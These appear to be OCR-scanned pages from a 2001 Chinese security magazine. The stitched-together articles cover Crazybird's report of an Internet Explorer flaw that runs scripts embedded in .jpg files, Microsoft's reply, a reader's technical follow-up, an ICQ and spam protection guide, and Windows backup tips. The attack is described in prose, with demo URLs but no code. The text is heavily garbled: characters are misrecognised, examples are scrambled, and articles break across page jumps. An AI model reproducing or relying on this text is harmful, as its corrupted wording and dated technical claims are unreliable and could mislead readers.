制 1 开 始 我 的 思维 没 扩展 开 。 一 直 在 想 ,似乎 他 们 说 的

对 。 我 没 理由 反 驱 。 等 我 换个 角度 ,对 了 ,他们 在 误导

我 ! 想 证 我 慢 慢 跟 他 们 的 思路 走 , 让 我 觉得 这 个 漏洞

不 是 什么 大 不 了 的 ! 其 实 不 是 漏洞 没什么 大 不 了 。 是

我 做 的 那个 脚本 没什么 大 不 了 1GOOD1 回 一 封 信 给 他

们 ,要 他 们 找 中 文 翻译 ! 现在 不 是 我 求 他 们 !

SCOTT :

我 很 遗憾 我 们 在 理解 和 定义 上 有 些 误 解 。 恐 怕 我

的 英文 不 够 好 。 所 以 不 能 精确 地 表达 我 的 观点 和 理解

你 的 意思 。 不 知道 你 们 有 没有 懂 中 文 的 人 可 以 交流 。

我 相信 这 样 会 事倍功半 。

.Crazybird

26/77Z01

2001. 7. 26 我 把 这 个 漏洞 公布 在 了 www. securi-

tyfocus. com 的 BUGtrad 上 。 这 是 全 球 最 有 影响 力 的 漏

洞 公布 板 。 我 没 法 让 微软 像 一 个 个 人 用 户 低头 。 由 于

篇 幅 所 限 , 这 里 我 就 不 把 他 们 对 这 个 漏洞 的 看 法 贴 出

来 了 。 具 体 您 可 以 到 刚才 给 出 的 地 址 去 查看 。 我 的 信

箱 每 天 都 有 二 十 几 封 热情 的 漏洞 询问 及 讨论 者 给

来 信 。 如 果 您 需要 , 可 以 来 信 向 我 询问 。 只 要 这 对 您 有

帮助 ! 下 面 是 我 把 漏洞 在 国外 公布 后 , 微 软 Microsoft

Security Response Center 在 BUGtraqd 上 的 回复 :

Hi Ail --

我 们 在 7 月 20 日 收 到 报告 后 对 此 进行 了 证 实 ,

并 将 我 们 的 发 现 回复 了 作者 。 简 单 地 说 , 这 里 的 一 切

并 没有 新 的 发 展 。 然 后 , 由 于 报告 中 涉及 到 其 它 儿 个

不 同 的 问题 ,很 难说 清 怎 么 会 这 样 。

x* 以 下 列 出 的 javascript 的 确 利 用 了 一 个 漏洞,

但 这 个 漏洞 是 早已 被 发 现 , 并 在 2000 年 10 月 就 发 布

了 补丁 。 关 于 这 个 漏洞 的 安全 公告 示 Microsoft Security

Bulletin MS00 - 075

(http: / /www. microsoft. comV/technet/security/

bulletin/MS00 -- 07S. asp ).

* 如 果 .tt .jpg 或 者 其 它 文 件 包含 脚本 的 话 ,

将 会 自动 用 正 打开 一 个 新 的 页 面 来 浏览 文件 。 但 是

脚本 只 在 网 页 范围 运行 , 因此 对 脚本 的 限制 和 一 般 网

页 中 的 脚本 运行 的 限制 是 一 样 的 。 这 就 是 说 , 在 文件

中 植 人 脚本 对 无 法 给 予 攻击 者 任何 更 多 的 能 力 。

x 如 果 用 户 下载 了 . kb, .jpg 或 其 它 什么 文件 到

本 地 ,并 打开 它 ,这 会 有 两 种 情况 ,要 看 是 什么 文件 类

型 。 大 多 数 文件 不 是 软 认 用 下 打开 的 ,比如 .txt 文件

默认 用 记事 本 打开 。 这 种 情况 下 脚本 不 会 被 运行 .其

它 文 件 ,比如 基本 的 图 片 文件 ,它们 确实 是 用 下 打

开 。 但 是 在 本 地 运行 时 ,图 片 被 直接 用 下 的 图 片 处 理

机 制 处 理 , 跳 过 了 脚本 的 运行 。 脚 本 依然 没有 被 运行 。

x* email 中 附件 的 处 理 方法 是 和 下 载 到 本 地 的 文

件 一 样 的 。 无 论 如 何 脚本 依然 无 法 在 本 地 运行 。

希望 这 个 解释 说 明了 一 切 。

Scott Culp

Security Program Manager

Microsoft Security Response Center

”语气 全 变 了 1!

不 想 再 说 什么 , 作 为 一 个 普通 的 网 络 安全 工作

者 。 我 们 需要 的 是 讨论 技术 ! 而 不 是 在 无 意义 的 事 上

浪费 时 间 。 另 外 , 在 这 件 事 上 使 我 联想 到 ,如 果 中 国 的

软件 行业 有 一 天 也 会 出 现 这 样 的 事情 , 也 许 是 件 好

事 。 因 为 这 样 才 表示 国人 也 重视 自己 的 民族 软件 了 ,

那 一 天 才 会 真 的 是 中 国 软件 业 的 春天 …… 期 盼 着 这

一 天 的 到 来 。

最 后 : 在 微软 拿 出 补丁 前 ,有 一 些 暂时 的 防御 办

法 :

”了 下 载 杀毒 软件 ! 已 有 的 及 时 更 新 病毒 库 。 将 系

统 里 比较 危险 的 一 些 程序 改名 , 比如 format. com、del-

tree. exe 等 。 改 成 容易 记忆 的 就 行 ,比如 format, com 可

以 改 成 format_ 0. com 等 。

2) 尽 量 不 要 去 访问 那些 所 谓 的 “黑客 "网 站 。 很 多

时 候 , 你 想 从 那 学 习 攻 击 。 实 际 上 ,您 正在 被 攻击 !

3) 如 果 碰 到 非 去 不 可 但 您 又 怀疑 有 危险 的 站

点 。 请 先 访问 http: / /erazybird. S1. net/look. htm 站

点 。 您 也 可 以 把 上 面 的 源 文 件 复制 下 来 。 另 存 为 . htm

文件 。 本 地 运行 。 但 我 不 能 保证 您 是 否 能 看 出 来 源 文

件 是 否 有 危险 ! 访问 网 页 ,任何 类 型 的 网 页 ,打开 时 如

果 出 现 “页 面 含有 不 安全 的 ActiveX ”等 信息 时 请 注

意 , 最 好 不 要 运行 该 ActiveX 控件 。 同 样 不 能 保证 任何

恶意 攻击 文件 都 会 给 出 这 类 警告 !

4) 邮 件 附 件 不 要 双击 直接 打开 ! 请 注意 ! 是 任何

类 型 的 附件 都 不 要 直接 打开 ! 请 先 保存 到 文件 夹 内 ,

再 用 病毒 库 为 最 新 的 杀毒 程序 扫 一 遍 。

5) 及 时 更 新 系统 补丁 。 人

1

全 作风

0 如 省 庆

SS

多 3

0

5 也

的 抽

s

公 al

世 wy

小 编 寄语 : 自从 上 期 “黑客 防线 "刊登 与 微软 的 第 一 次 接触 竟然 会 这 样 ) 这 篇 文章 以 来 ,引起 的 很 大 的 反

响 , 很 多 读者 朋友 写 信 反 映 看 过 这 篇 文章 感触 很 深 , 还 有 朋友 撰文 写 出 自 己 的 看 法 和 感受 ,下 文 就 是 其 中 一

篇 。 我 们 十 分 欢迎 广大 读 考 能 写 信 说 出 读 " 黑 客 防线 ”的 感想 或 针对 某 篇 文章 写 出 自己 不 同 的 看 法 ,您 的 文章

将 会 在 读 编 互动 或 正文 中 刊登 。

当 看 了 上 期 “黑客 防线 ”Crazybird 给 我 们 带 来 的

《接触 》( 为 了 方便 起 见 ,我 们 用 《接触 } 来 代替 《与 微软

的 第 一 次 接触 竟然 会 这 样 ) 一 文 后 ,我 当时 的 心情 是

无 法 用 言语 表露 的 , 我 深 深 被 作者 那 份 自强 的 激情 与

探索 技术 的 谨 慎 所 感动 。 而 感动 过 后 , 我 开始 思索 其

中 技术 的 内 涵 , 并 作 了 一 些 尝试 性 的 代码 测试 ,也 对

微软 的 答复 加 以 了 验证 。 从 中 体会 到 了 一 些 Crazybird

没有 提 到 的 问题 。 为 了 让 读者 能 够 更 加 了 解 其 中 的 内

涵 ,我 对 《接触 》 如 了 一 些 补 充 和 自己 的 心得 体会 。

问题 一 :为 什么 亚 会 对 包含 纯 HTMILV

JavaScript 代码 的 文件 进行 无 条 件 的 执行 处 理

想 说 明 这 个 问题 ,就 必须 对 Internet Explorer 的 工

作 原 理 进 行 解剖 我们 知道 在 现 有 3 双 网 (World Wide

Web) 的 基础 上 进行 数据 传输 交换 以 及 声音 、 图 像 的

传输 ,是 一 件 相当 耗 时 的 事情 。 而 正在 3 网 中 是 采

用 了 超 文 本 (英文 : Hypertext, 是 一 种 包含 特殊 标记 的

纯 文 本 文件 ) 的 表达 方式 ,把 有 限 的 带宽 和 无 限 的 信

息 这 个 刻 盾 调 和 得 恰到好处 。

所 谓 的 超 文本 的 表达 方式 , 就 是 将 集合 在 此 信息

及 文件 通过 网 络 服务 器 加 以 储存 的 , 而 我 们 阅读 这 个

信息 , 便 是 通过 Internet Explorer 或 Netscape 等 浏览 器

读 取 的 。 但 我 们 所 看 到 的 并 不 是 二 巴巴 的 纯 文 本 文

件 , 而 是 五 彩 纷 .图文并茂 的 页 面 ,把 死 气 沉 沉 的 纯

文本 内 容 转化 为 网 页 的 魔术 师 就 是 HIML(Hypertext

Markup Language)。 它 是 一 种 超 文本 文件 的 标记 语言 ,

所 谓 标 记 语 言 , 就 是 让 浏览 器 知道 该 以 何 种 方式 来 显

示 原 始 文件 的 内 容 。 我 给 大 家 举 一 个 例子 来 说 明 。

例子 : 假如 我 们 规定 <> 中 的 内 容 用 华文 彩云 表

示 。() 中 的 内 容 用 华文 行 楷 来 表示 。 不 加 符号 的 用 默

认 表 达 方 式 。

文本 内 容 : (西门 吹雪 )vs < 劲 刀 狂 舞 >

显示 内 容 : 西门 欢 沼 vs 动力 狂 乓

这 就 是 我 们 自己 定义 的 一 种 标记 语言 , 而 大 家 可

以 看 到 ,HTML 这 种 标记 语言 的 文件 中 是 含有 大 量 的

标记 语句 的 , 它 正 是 通过 集成 于 亚 内 部 的 HTML 规

则 , 才 呈 现 出 绚丽 多 彩 的 内 容 。 我 们 注意 到 标记 语言

只 是 对 标记 的 规则 加 以 一 定 的 约束 , 为 了 实现 在 3 叉

上 的 通用 , 对 它 的 存储 方式 并 没有 限制 , 也 就 是 说 16

进 制 数据 与 10 进 制 数据 必须 进行 转换 才能 读 取 。 而

HTIML 则 不 用 。

HIML 仅仅 规定 了 如 何 标记 , 无 论 是 怎样 的 格

式 , 怎 样 的 存储 方式 , 只 要 它 存 在 标记 , 那么 就 符合

HIML 的 执行 法 规 并 加 以 执行 。 虽 然 HIML 是 使 用 大

.HIMLZx .HIM 的 方式 来 让 我 们 知道 这 是 HIML 文

件 , 可 它 则 样 能 用 NOTEPAD、 写 字 版 等 通用 工具 打

开 , 使 我 们 可 以 看 到 标记 ,并 加 以 任何 的 修改 。 同样 让

我 们 想 想 正 , 它 在 3 多 网 上 的 通用 性 使 它 可 以 打开 多

种 不 同 格式 存储 的 文件 。 其 中 的 文件 只 要 存在 标记 ,

下 的 内 部 原理 就 把 它 进行 了 HTML 的 标记 解析 。

这 就 是 为 什么 下 会 对 包含 纯 HTML7JavaScript

代码 的 文件 进行 无 条 件 的 执行 处 理 的 原因 , 也 就 是 我

们 的 Crazybird 所 遇 到 的 问题 的 形成 所 在 。

问题 二 : 我 们 所 追究 的 “漏洞 ”到底 是 什

么 ?

我 们 现在 已 经 知道 了 殉 会 出 现 上 述 问题 的 原因

了 , 现在 也 是 该 正式 的 审视 一 下 这 个 所 谓 的 漏洞 到 欣

是 什么 ?

我 对 Crazybird 在 《接触 》 一 文中 所 提 到 的 验证 方

法 进行 了 操作 , 并 且 也 对 照 微 软 的 解释 进行 了 客观 的

验证 。 这 验证 包括 对 :

http: / /member. netease. com/ ~ zdqs/ie_ bug. jpg、

crazybird. S1. net/]look. aaa、

crazybird. S1. net/]look. txt、

crazybird. $1. net/test. txt、

http: / /erazybird. 51. net/look. htm 的 访问 以 及 对

http: //member. netease. com/ ~ zds/ie bug.jpg 的 源

程序 的 考究 。 并 通过 多 种 方式 实现 《接触 》 中 更 改 标题

的 尝试 。 可 是 遗憾 的 是 除了 在 连接 上 对 http: /7/

member. netease. com/ ~ zds/ie bug. jpg( 其 实 http: //

member. netease. com/ ~ zds/ie_ bug.jpg 的 访问 也 是

无 效 的, 但 我 自己 通过 其 他 服务 器 得 到 了 等 效 的 访

问 ) 的 验证 是 有 效 的 ,其 他 的 访问 都 没有 成 功 。 而 微软

所 说 的 页 面 含 有 不 安全 的 ActiveX 确 确 实 实 是 把 更

的 安全 等 级 设置 为 高 级 时 才能 奏效 。

这 样 我 们 就 不 得 不 承认 只 有 在 下 打开 带 有 有 害

HTML7ZJavaSeript 代码 时 确实 把 有 害 代码 加 以 执行

了 。 这 样 就 说 明了 这 个 危险 成 分 确 确实 实 可 以 损害 到

我 们 的 电脑 。 具 体 做 法 可 以 把 一 封 含 有 破坏 代码 的

JPCG 图 片 放 置 在 MAIL 的 附件 中 , 而 收 件 用 户 是 使 用

正 将 这 个 JPG 图 像 文件 打开 。 那 么 他 将 受到 攻击 ,而

防范 措施 也 很 简单 , 就 是 把 下 的 安全 等 级 提高 或 者

关闭 ActiveX。 而 在 微软 的 官方 说 明 中 确实 已 经 早已

提 到 了 这 类 型 攻击 的 可 能 性 , 并 指出 怎样 有 效 的 防范

这 种 攻击 。

那么 ,这 个 所 谓 的 漏洞 真 的 是 下 的 漏洞 吗 ? 可 卫

可 以 经 过 简单 的 调节 而 避免 攻击 。 我 们 试想 一 群 伪 赤

客 用 简单 的 PING 来 榨取 服务 器 的 资源 ,使 它 DOWN

机 ,那么 这 个 被 PING 的 服务 器 存在 的 是 漏洞 吗 ? 这 是

一 个 让 人 有 些 迷 惑 的 问题 。

问题 三 : 弥补 亚 对 纯 HIML/

JavaScript 代码 文件 的 执行 ,是 相当 困难 的 。

最 后 ,我 想 说 说 关于 职 如 何 弥补 的 问题 。 正 是 标

记 语 言 的 工作 原理 决定 了 弥补 这 个 问题 的 困难 性 。 我

想 微软 的 工程 师 不 会 把 HTML 文件 的 存储 方式 加 以

特殊 的 滤 码 处 理 。 毕 竞 这 样 下 去 , 就 导致 滤 码 总 是 如

杀毒 软件 永远 处 于 新 病毒 一 样 的 被 动 。 而 把 通用 的

HTML 加 以 不 通用 化 , 那 么 即将 改变 的 不 仅仅 是 下

以 及 HTML。 更 多 的 改变 将 是 来 自 3W 网 的 根本 制定

中 。 这 也 是 不 可 能 采取 的 措施 之 一 , 解决 这 个 问题 需

要 克服 的 困难 确实 太 多 太 多 了 , 微 软 自 己 自 然 更 清

楚 , 这 是 一 个 非常 困难 的 问题 。 改 变 它 需 要 付出 的 代

价 会 很 大 。 但 就 对 卫 G 文件 含有 破坏 成 分 的 代码 解决

起 来 , 却 异 常 的 简单 。 微 软 的 工程 师 可 以 仅 让 下 只 显

示 了 JPG 文件 ,不 执行 其 中 代码 的 操作 来 进行 限制 。 可

这 件 事情 的 重点 却 不 仅仅 是 在 一 个 JPG 文件 ,更 多 值

得 我 们 修正 和 正视 的 问题 还 远 远 在 这 后 面 呢 1 人鱼

(上 接 第 143 页 ) 资料 。 输 完 后 按 ”“Apply”。

一 般 来 说 , 如 果 卫 -Mail 地 址 是 me@

166. chome., com 。 那 么 “me” 就 是 帐号 , 而

“166. chome. com” 则 是 服务 器 名 称 , 密 码 就 是 你

收 信和 时 用 的 那 组 密码 。

4. 大 功 告 成 , 重复 执行 第 一 个 步骤 ,就 可 以

看 到 检查 邮件 的 画面 了 , 可 以 先行 预览 邮件 。 先

点 选 要 预览 的 邮件 ,再 按 “Preview“。

注意 ! 中 文 内 容 可 能 会 造成 “主题 "或 "内容 ”

出 现 乱码 。 此 时 只 好 查看 发 信人 是 不 是 自己 的 亲

朋 好 友 , 再 决定 是 否 删 除 。 通 常 垃圾 信 的 寄 件 者

都 是 用 英文 加 数字 编码 ,容易 识别 。

5. 如 果 看 到 不 想 收 的 信 , 就 直接 按 “Delete”

删除 。

6. 邮件 在 服务 器 内 被 删除 , 所 以 我 们 使 用

Outlook Express 就 不 会 再 收 到 刚才 删 掉 的 信 了 ,

最 后 按 “Close ”离开 。

另外 ,很 多 人 可 能 没有 或 不 能 使 用 ICQ , 没 问

题 , 应 用 软件 Avirail 和 ICQ 一 样 , 也 可 以 通知

预览 邮件 , 并 在 接收 到 电脑 前 就 把 讨厌 的 垃圾 信

删除 。 下 载 网 址 : http: / /www. avirmail. com/ , 文

件 大 小 约 2.37MB , 支 持 的 操作 系统 为 双 indows

95/Z98/Me/NTZ2000。

还 有 一 个 就 是 很 多 人 都 在 用 的 Foxmail 了 ,

它 也 可 以 在 服务 器 里 直接 删除 信件 , 这 方面 已 有

很 多 文章 介绍 ,这 里 就 不 介绍 了 。 贸

现在 上 网 总 是 让 人 不 放心 , 上 了 宽带 网 后 就 更 是

防不胜防 了 ,垃圾 邮件 病毒 ,还 有 ICQ 上 陌生 怪 客 的

恶意 骚扰 、 出 言 不 逊 , 实在 是 让 人 防不胜防 。 怎 么 办

呢 ? 这 里 就 教 你 一 点 摆脱 魔掌 的 必 备 绝招 。 谁 说 我 们

只 能 当 " 无 行为 能 力 ” 的 受害 者 ? 只 要 花 上 短 短 的 十 分

钟 , 看 完 这 篇 绝技 ,你 就 能 给 自己 开 出 一 片 清静 的 网

“网 上 狗仔 队 ”

什么 ?网 上 也 有 狗仔 队 ? 没 错 ,而 且 他 们 还 随时 潜

伏 在 你 身边 。

网 上 有 许多 匿名 的 狗仔 队 , 专 事 偷窥 、 盗 窃 个 人

隐私 的 不 齿 匀 当 ,他 们 有 时 还 随意 通过 ICQ 对 素 味 平

生 的 你 出 言 不 过 。 只 要 你 上 网 , 他 们 就 有 本 事 侵入 你

的 生活 “无 孔 不 人 ”和 “ 紧 逼 盯 人 ”是 他 们 的 共同 特

征 。 难 道 我 们 就 只 能 忍受 这 些 骚 扰 ?

先 跟 我 一 块 儿 辨认 网 络 狗 仔 队 的 各 种 “分 上身” 危

险 指数 , 加 强 一 下 网 络 安全 的 基本 观念 再 说 。 如 果 你

已 经 是 受害 者 , 就 赶紧 学 习 重 点 必 杀 术 , 跟 我 一 顽 儿

打击 网 络 狗仔 队 !

1.ICQ 怪 客

危险 指数 : 两 颗 骨 伙 头

不 经 你 同意 就 突然 将 你 加 入 自己 的 ICQ, 不 但 出

言 不 过 , 甚 至 还 来 口头 性 驭 扰 ; 不 然 就 利用 你 的 ICQ

得 知 你 的 瑟 地 址 ,并 侵 人 你 的 电脑 。

预防 措施 : 事先 设置 ICQ 认证 , 陌生 人 想 加 入 你

的 名 单 时 ,必须 经 由 你 本 人 同意 。 另 外 ,记得 将 ICQ 的

瑟 地 址 设置 为 隐藏 , 免 得 黑客 通过 网 络 侵 人 你 的 电

脑 。

必 杀 招数 :可 将 ICQ 怪 客 设置 为 忽略 名 单 , 这 样 ,

文 / 周 国 锤

他 发 出 的 任何 ICQ 你 都 不 会 收 到 , 图 个 腿 不 见 为 净 。

还 可 用 个 人 防火 墙 软件 监督 网 上 来 客 , 避免 自己 的 电

脑 遭 黑客 人 侵 。

2. 卫 -Mail 不 速 之 客

危险 指数 :三 颗 授 通 头

我 们 都 知道 , 那些 永远 砍 不 完 的 广告 垃圾 信 , 只

需 换 个 名 字 就 又 是 “一 条 好 汉 ”。 不 但 浪费 你 收 信和 的 带

宽 , 也 粳 中 硬盘 空间 , 甚 至 会 招 菩 来 莫名 其 妙 的 病

毒 。

预防 措施 : 填写 网 络 资料 时 , 不 要 老 老 实 实地 填

上 平常 用 的 私人 电子 信箱 , 这 样 容 易 招 来 广告 信 。 建

议 申请 一 个 专门 登录 资料 用 的 Web 信箱 , 把 垃圾 信

交 给 网 站 服务 器 (超过 容量 限制 , 这 些 垃圾 信 就 寄 不

进来 了 ) 来 处 理 吧 !

必 杀 招数 : 如 果 你 有 ICQ, 可 以 利用 ICQ“ 即 时 邮

件 通知 "功能 来 预览 服务 器 里 的 信件 , 在 还 未 收 信和 前,

就 直接 删除 其 中 的 垃圾 邮件 。 不 然 , 你 也 可 以 使 用

Outlook Express 中 设置 “垃圾 邮件 ”的 功能 , 将 寄 件 者

设置 为 拒绝 往来 户 。 再 无 效 , 还 可 用 AvirMail 这 个 收

信和 前 置 软 件 , 帮 你 筛选 掉 邮 件 服务 器 上 的 广告 信 。

3. 网 络 资料 小 偷

危险 指数 :四 颗 骨 仍 头

如 果 突 然 间 收 到 大 量 的 广告 垃圾 信 , 或 发 现 信 用

卡 ( 信 用 点 ) 已 经 被 盗 刷 ,这 时 你 才 会 意识 到 网 络 小 偷

的 存在 。 他 们 专门 拦截 或 窃取 网 上 流通 的 私人 资料 ,

包括 身份 证 号 码 、 信 用 卡号 , 或 私人 的 电子 邮件 信箱

等 。

预防 措施 : 网 上 不 能 曝光 重要 的 身份 证 号 码 , 除

非 真 有 需要 。 而 且 , 每 隔 一 段 时 间 最 好 更 新 你 的 网 站

密码 , 要 采用 不 易 被 破解 的 大 小 写 英 文 与 数字 混合 的

密码 , 千 万 不 要 一 个 密码 用 到 底 。E - Mail 当然 也 不 能

填写 自己 常用 的 信箱 , 建议 另外 申请 一 个 平常 不 用 的

世 - Mail 专门 用 来 登录 资料 。 如 要 上 网 购物 ,最 好 挑选

有 SSL 或 SET 网 络 安全 认证 的 大 型 网 站 用 信用 卡 、 信

用 点 消费 ,否则 宁可 采用 邮局 汇款 。

必 杀 招数 :切记 ,切记 ,小 心 预防 胜 过 事后 狗 恼 !

4. 主动 出 击 型 黑客

危险 指数 :五 颗 骼 仍 头

有 些 技术 高 超 的 电脑 黑客 好 胜 心 极 强 , 如 果 不 小

心得 罪 了 他 ,或 是 有 利 可 图 ,黑客 就 会 主动 出 击 ,破解

你 的 电脑 来 窃取 资料 或 施放 病毒 。

预防 措施 :如果 你 的 电脑 24 小 时 都 挂 在 网 上 ,就

要 小 心 这 种 黑客 ,有 些 人 会 通过 ICQ 或 你 上 网 的 途径

取得 下 地 址 来 人 侵 电 脑 。

必 杀 招数 : 可 用 个 人 防火 墙 之 类 的 软件 来 防 堵 这

种 黑客 的 人 侵 。

s. 网 络 邻 居 偷 宕 狂

危险 指数 :四 颗 人 船 角 头

利用 局 域 网 上 安全 设置 的 漏洞 侵入 邻居 的 电脑 ,

无 论 你 是 否 乐意 开放 自己 的 隐私 , 他 都 看 得 一 清二

楚 ,说 不 定 还 会 窃取 公司 的 机 密 文 件 哩 。

预防 措施 : 如 果 同 事 间 有 共用 电脑 的 习惯 , 记 得

将 ICQ 或 个 人 文件 设 上 密码 ,或 在 离 座 时 打开 屏幕 保

护 程序 的 密码 。 非 必要 时 绝 不 将 自己 电脑 设置 成 共

享 , 否则 也 要 先 设置 复杂 的 密码 供 特定 人 士 共 享 。 但

这 种 预防 对 技术 高 超 的 有 心 之 人 屎 怕 无 效 。

必 杀 招数 :除了 请 公司 的 MIS 加 强 局 域 网 的 安全

措施 外 , 也 可 以 启动 Windows 内 建 的 网 络 监控 程序 ,

或 安装 个 人 防火 墙 ,以 防止 偷窥 狂 的 山 蚀 。

摆脱 ICQ 怪 客 的 魔 学

ICQ 怪 客 的 恶 形 恶 状 :

1. 未 经 同意 就 把 你 加 入 ICQ 名单, 经常 Q 些 无

聊 的 网 页 给 你 。2. 明明 你 不 想 聊 天 ,陌生 的 他 却 一 直

Q 你 , 打 扰 上 网 时 的 清静 。3. 一 开口 就 口 出 秽 言 驭

扰 , 真能 气 死人 ! 4. 利用 ICQ 得 知 你 的 正 , 偷偷 侵入

你 的 电脑 。

该 如 何 直接 拒绝 这 些 怪 客 呢 ? 方法 是 :

1. 将 ICQ 的 联系 清单 打开 ,准备 设置 工作 。 人 然后

将 鼠标 移 至 “ICQ” 按 钮 上 , 按 一 下 , 接 着 点 选

“Preferences ”。

2. 准备 提高 ICQ 的 安全 性 及 隐 密 性 , 点 选 窗 口

中 “Security & Privacy”, 然 后 再 选择 “Ceneral , 接着 点

选 “My authorization js required before users add me to

their Contact List”。

3. 建立 外 界 连 线 方式 , 那 些 没 经 过 你 认可 的 人

就 无 法 与 你 连 线 。 选 择 窗口 中 的 “Direct Connection 。

再 点 选 ^Allow Direct Connection with any user upon your

authorization ”。

4. 如 果 有 不 想 联系 的 人 , 可 在 “Ignore” 里 建立 黑

名 单 , 这 样 对 方 就 再 也 无 法 与 你 联系 了 。 选 择 窗口 中

的 “Ignore”, 再 点 选 ^Add To Ignore List , 搜索 要 被 列

人 黑 名 单 的 使 用 者 。

5. 搜索 方式 有 四 种 , 在 这 里 我 们 用 搜索 ICQ 号

码 来 做 示范 。 用 鼠标 选择 “ICQ#" 。 接 着 输入 要 搜索 的

ICQ 号 码 。 找 到 后 ,用 鼠标 点 选 他 的 号 码 或 名 称 。

6. 搜索 完 的 结果 , 电脑 会 通知 你 ,已 经 将 你 选择

的 人 加 入 了 黑 名 单 。 然 后 按 一 "OK “。

7. 现在 你 看 到 “ 怪 客 ” 在 黑 名 单 里 了 吧 ! 黑 名 单

里 的 人 当然 无 法 加 入 你 的 通讯 录 , 也 不 能 作怪 了 。 最

后 按 “Apply "结束 。

用 “ICQ 即时 信件 通知 ”功能 拦截 广告 邮件

E- Mail 不 速 之 客 的 恶 形 恶 状 :

1. 一 天 到 晚 发 送 AV 色情 光盘 的 广告 , 标 题 下

流 ,有 碍 观瞻 。

2. 送 一 些 根本 不 需要 的 客户 名 单 , 换 个 名 字 又

卷 士 重 来 。

3. 替 自 己 的 网 站 拼命 打 广告 , 还 假 用 好 朋友 的

语气 介绍 。

4. 寄 上 一 堆 产 品 的 目录 图 片 , 好 不 容易 收 完 信

后 , 才 发 现 是 促销 广告 。

道 高 一 尺 、 魔 高 一 丈 , 广告 商 利 用 变换 寄 件 人 的

方式 来 规避 你 的 拦阻 , 所 以 一 场 无 法 避免 的 拦截 成 就

此 展开 。 提 前 拦截 及 过 滤 邮 件 ,就 好 像 “ 来 电 显示 一

样 , 先 查 查 是 谁 寄 来 的 ,再 决定 是 否 收取 。 有 哪个 软件

能 提供 这 种 功能 呢 ? 近 在 眼前 的 ICQ 就 可 以 了 , 让 我

们 看 看 怎么 设置 和 使 用 吧 :

1. 在 ICQ 提供 的 服务 里 , 其 实 就 有 预告 电子 邮

件 的 功能 ,只 是 很 少 人 注意 。

先 执 行 ICQ , 选 择 左下 方 “services”, 接 着 选择

“Email” 后 再 点 选 ^Check incoming Email 。

2. 然后 选择 输入 电子 邮件 服务 器 的 属性 , 一 般

人 选择 “Pop3 1. 0" 即 可 。 先 按 “ADD”, 再 选择 “Pop3

1.0”。 :

3. 输入 自己 电子 邮件 信箱 的 信息 , 包 括 服务 器

名 称 、 帐 号 及 密码 , 在 右边 栏 内 输入 (下 转 第 141 页 )

“ 换 者 按 , 我 起 对 于 一 个 从 事 计算

机 行业 的 人 , 最 恼火 的 事情 就 是 存储

在 硬 楚 里 的 数据 损坏 或 丢失 , 不 过 ,出

现 这 类 情况 大 可 不 必 惊 慌 失 措 , 冷 静

的 经 过 合理 的 操作 , 是 可 以 最 大 程度

Re

计算 机 的 硬盘 中 存 有 大 量 重 要 的 数据 。 这些 数据

也 许 是 很 多 天 辛勤 劳动 的 成 果 。 有 时 候 , 由 于 操作 失

误 删 除 掉 某 个 重要 的 文件 ,或 由 于 其 他 原因 (如 病毒 ,

存储 介质 故障 , 黑客 袭击 等 ) 造 成 的 数据 灾难 性 丢失 ,

都 是 令 人 极为 痛心 的 事情 , 下 面 就 谈 谈 如 何 最 大 程度

地 避免 出 现 类 似 情况 以 及 出 现 问题 后 的 紧急 处 理 方

一 、 备 份 篇

对 重要 的 数据 一 定 要 及 时 进行 备份 。 至 少 每 周一

次 把 重要 的 文件 备份 到 软盘 或 其 他 介质 上 。 我 们 不 推

厦 发 生 了 数据 灾难 后 才 进 行 处 理工 作 。

微软 的 Windows 向 来 以 不 稳定 出 和 名, 不 过 Gates

还 是 有 自 知之 明 的 ,Windows 中 集成 有 备份 工具 。

双 indows98 : 运行 “程序 一 附件 一 系统 工具 ”可 以

找到 备份 工具 。 你 可 以 把 重要 的 东西 备份 到 软盘 , 硬

盘 , 磁 碟 机 或 者 其 他 的 介质 中 ,而 且 可 以 选择 适当 的

比例 对 文件 进行 压缩 , 以 节省 磁盘 空间 。 不 过 这 个 工

其 不 是 默认 安装 的 , 您 必须 在 安装 系统 时 选择 安装 ,

如 果 您 没有 安装 , 可 以 在 控制 面板 中 选择 “添加 删除

程序 进行 安装 。 默 认 目 录 :; C: \ Program Files\ Acces-

sories \Backup。

Window2zk: 在 Win2k 下 备份 工具 是 默认 安装 的 ,

它 不 仅 提供 了 对 于 文件 ,文件 夹 ,磁盘 的 备份 工作 , 而

且 可 以 对 于 系统 和 系统 状态 进行 备份 (如 图 1)。

在 操作 方面 , Win2k 的 备份 工具 提供 了 包括 副本

备份 ,每 日 备份 ,差异 备份 , 增 量 备份 和 普通 备份 等 多

种 形式 。 在 执行 方面 ,备份 工具 提供 了 手工 备份 ,系统

Se 文 / 劲 刀 狂 帮

的 计划 任务 进行 备份 和 定时 执行 备份 。 使 用 相当 地 方

便 。

器 区 次 8 攻 牛

区 bmulaiz

村 局 其 cmr 一 今天 你 育 再 .,.

-还 部 风 上 和 民

图 1 windows 2k 的 备份 工 且

Windows Me: 微软 在 2000 年 10 月 份 发 行 了 新 的

操作 系统 Win Me, 这 个 号 称 Win9x 系统 的 终结 者 最

适合 家 庭 用 户 使 用 。 备 份 工具 犹如 Norton Ghost 般 一

样 强大 , 它 可 以 将 系统 备份 到 某 一 个 状态 , 再 借助 还

原 工具 进行 还 原 操作 。 从 些 彻底 地 和 重 装 系统 告别

(如 图 2)。

要 开始 。 请 选择 项 望 执行 的 任务 :

全 0

-大 搬 消 上 次 还 原 操 作

图 2

计算 机 开机 运行 状态 系统 还 原 工 具 每 隔

10 小 时 创建 一 个 还 原点 。 此 外 , 以 实际 时 间 计算 , 系

统 还 原 每 24 小 时 也 会 创建 一 个 还 原点 。 如 果 您 的 计

算 机 关机 超过 24 小 时 , 系 统 还 原 将 在 启动 时 创建 一

个 还 原点 。 您 也 可 以 手动 创建 还 原点 。

手动 设置 还 原点 的 方法 :

x 点击“ 开始" 按钮 。

x 孔 标 指向 “程序 "人 “附件 "人 “系统 工具 ”, 然后

x 选择 “创建 一 个 还 原点 ", 然 后 点 击 “下 一

x 在 “还 原点 描述 ” 框 中 键 人 还 原点 的 名 称 , 然

后 点 击 “ 下 一 步 "。

x 点击“ 确定"。

在 创建 了 还 原点 后 , 您 可 以 很 方便 地 让 系统 返回

到 还 原点 的 状态 。 不 用 担心 会 丢失 最 新 的 文档 或 电子

邮件 , 系统 还 原 工具 不 会 去 修改 个 人 文件 。 您 还 可 以

撤消 系统 还 原 工 具 对 计算 机 所 做 的 改变 (如 图 3)。

图 3

将 计算 机 还 原 为 原 有 设置 的 方法 :

x 点 击 “开始 "按钮 。

